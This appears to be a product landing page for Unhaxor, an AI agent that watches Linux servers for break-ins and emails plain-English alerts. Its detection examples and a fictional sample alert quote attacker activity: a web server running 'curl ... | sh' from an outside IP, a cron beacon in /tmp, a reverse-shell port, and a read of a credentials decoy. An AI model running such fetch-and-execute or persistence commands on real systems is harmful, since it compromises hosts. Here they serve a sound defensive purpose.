Your new security engineer never sleeps.
Unhaxor is an AI agent that watches your Linux servers around the clock, investigates anything unusual the way a security engineer would, and emails you the moment it finds signs of a break-in — with what happened and exactly what to do.
On shift 24/7 · Investigates like an analyst · Installs in 60 seconds
$ curl -fsSL https://unhaxor.net | sudo sh
Agent on shift — learning what’s normal on web-01
It will investigate anything unusual and email you
02:11:04·sshd login ok you@
02:11:39·cron backup.sh exit 0
02:12:58·nginx GET / 200
02:14:03!nginx → sh → curl 203.0.113.42
└ investigated · break-in likely · emailed you
THE PROBLEM
The gap between disclosed and exploited keeps shrinking.
AI now speeds up both sides: it helps researchers and attackers find flaws faster, and it helps turn a fresh advisory into a working exploit in hours, not months. For a team of a few people running a few servers, "patch it next sprint" is no longer fast enough.
- Oct 2026CVE-2026-109618 / 1096195 daysfrom patch to CISA’s known-exploited list
PHP2Shell
Unauthenticated remote code execution affecting PHP 5.4 through 8.5.11 — added to CISA’s Known Exploited Vulnerabilities catalog five days after the patch shipped.
CISA alert (opens in a new tab) - Apr 2025CVE-2025-22457~3 weeksexploited as a zero-day before disclosure
Ivanti Connect Secure
A buffer overflow in a widely used VPN appliance, exploited in the wild from mid-March — about three weeks before the April 3 advisory, and on CISA’s KEV list one day after.
Google Threat Intelligence (opens in a new tab) - Jul 2024CVE-2024-6387~700,000internet-facing servers directly vulnerable
regreSSHion
A flaw in OpenSSH — the service almost every Linux server exposes — allowing remote code execution as root. Qualys found ~700,000 directly vulnerable instances of ~14 million exposed.
Qualys research (opens in a new tab)
Attackers work nights and weekends. Most small teams don’t — and find out weeks later, or from a customer.
INSTALL
Hire it in 60 seconds.
No interviews, no onboarding. One command installs a signed, sandboxed agent, and it starts learning what normal looks like on that server. No rules to write, nothing to configure.
Get your install command →
Run one command
A signed install script sets up the agent as a locked-down service.
Paste your API key
The agent connects outbound only and learns what normal looks like on that server.
It starts its shift
From then on it watches 24/7 and emails you only when it finds something real.
HOW IT WORKS
It works like a security engineer. It just doesn’t sleep.
- step 1
Watches
Day and night, the agent watches processes, logins, file changes and network connections as they happen — metadata only, never the contents of your files or traffic.
- step 2
Investigates
When something looks off, the AI agent digs in like an analyst would: it follows the process tree, compares it with that server’s normal behaviour, and decides if it’s a break-in or just your deploy.
- step 3
Reports
If it’s real, you get a plain-English email: what happened, how sure it is, and the exact next step. If it isn’t, it stays quiet.
WHAT IT HUNTS FOR
The signs that someone is already inside.
Your AI engineer knows what an intruder’s first hour looks like. A few of the signals it hunts for, on every server, all night:
Intruders at work
A web server spawning a shell, or a program running from a temporary folder.
nginx → /bin/sh → curl 203.0.113.9Persistence attempts
New cron jobs, SSH keys, users or startup services that nobody set up.
+ cron: * * * * * /tmp/.x/beaconSuspicious network activity
New listening ports, reverse shells, or connections somewhere the server has never been.
LISTEN :4444 → 185.220.101.0Vulnerable software
Known-vulnerable packages that are actually running and exposed, with the upgrade command.
openssl 3.0.2 — CVE-2026-xxxx → apt upgradeUnusual logins
A new country, an odd hour, or a success right after a run of failures.
sshd: accepted root from 198.51.100.7 (NG)Decoy tripwires
Fake credentials that nothing legitimate ever opens — so a single read is a strong signal.
read: /root/.aws/credentials.decoyTampering
Cleared logs, or the agent itself being stopped or silenced.
journald: logs truncated — agent offline
SAMPLE ALERT
What it sends you at 2am.
Not a raw alert — a short write-up from an engineer who already looked into it. This is a fictional example.
[web-01] A shell was launched by your web server
- From
- Unhaxor <alerts@unhaxor.net>
- To
- you@yourcompany.com
- Server
- web-01 (production) · 2026-11-15 02:14 UTC
Your nginx process launched a shell and reached out to an address this server has never contacted before. On a web server, that pattern usually means code execution, not normal activity.
I checked: no deploy ran in the last hour, and nginx on web-01 has never started a shell in 30 days of watching it. I’m treating this as a likely break-in.
Evidence
process nginx(1021) → sh(8841) → curl(8842) command curl -fsSL http://203.0.113.42/x | sh user www-data time 2026-11-15 02:14:03 UTC dest 203.0.113.42:80 (first contact)
Recommended next step
Isolate web-01 from the network and inspect the nginx worker. If this was not a deploy you recognise, treat the host as compromised and rotate its credentials.
FLEET VIEW
Everything it’s watching, on one screen.
Bare metal servers, VPS instances and Docker containers, side by side. See what your AI engineer is keeping an eye on, how each one is doing security-wise, and why.
All of it, in one place. Bare metal, VPS and containers in one list, with each container shown on its host.
A security status per machine. Healthy or needs attention, worked out from what the agent actually sees.
Same explanation as the email. Every warning opens the plain-English summary and the next step to take.
- Monitored
- 8
- Healthy
- 6
- Needs attention
- 2
web-01
VPS · Ubuntu 24.04
No findings
8s ago healthyweb-02
VPS · Ubuntu 24.04
openssl 3.0.2 has a known CVE — upgrade available
11s ago attentiondb-01
Bare metal · Debian 12
No findings
4s ago healthyapi
Container · node:20-alpine · on web-01
No findings
8s ago healthyworker
Container · python:3.12 · on web-02
Runs as root and contacted a new host
11s ago attentionbackup-01
Bare metal · Rocky Linux 9
No findings
6s ago healthyredis
Container · redis:7 · on db-01
No findings
4s ago healthystaging-01
VPS · Ubuntu 22.04
No findings
15s ago healthy
TRUST
An engineer you can check up on.
You’re giving it a seat on your servers. Every design choice below is here so you can verify what it does.
Open-source agent
Read exactly what runs on your server. The agent is open source by design.
Runs without root
An unprivileged, sandboxed service with access only to what it needs.
Alerts only
It never changes anything and cannot receive remote commands. Outbound connections only.
See what leaves
A command shows exactly what data the agent sends off the machine.
Metadata only
We never read your file contents or the contents of your traffic.
Signed & reversible
Signed packages, and a one-command uninstall whenever you want it gone.
HONEST LIMITS
What Unhaxor does not do.
A good engineer tells you what’s outside their job. Unhaxor watches and investigates — it doesn’t touch.
- It does not block attacks or take any action on your server.
- It does not replace patching, backups or a firewall.
- It detects what attackers do after they get in, and cannot promise to see every exploit.
FAQ
Questions, answered.
Is it really AI, or just rules?
Does it replace a security team?
Does it need root?
What data leaves my server?
Can it break or slow down my server?
What happens if an attacker kills the agent?
Which Linux distributions are supported?
GET STARTED
Put a security engineer on every server tonight.
One small agent. Watching 24/7. One email when it matters.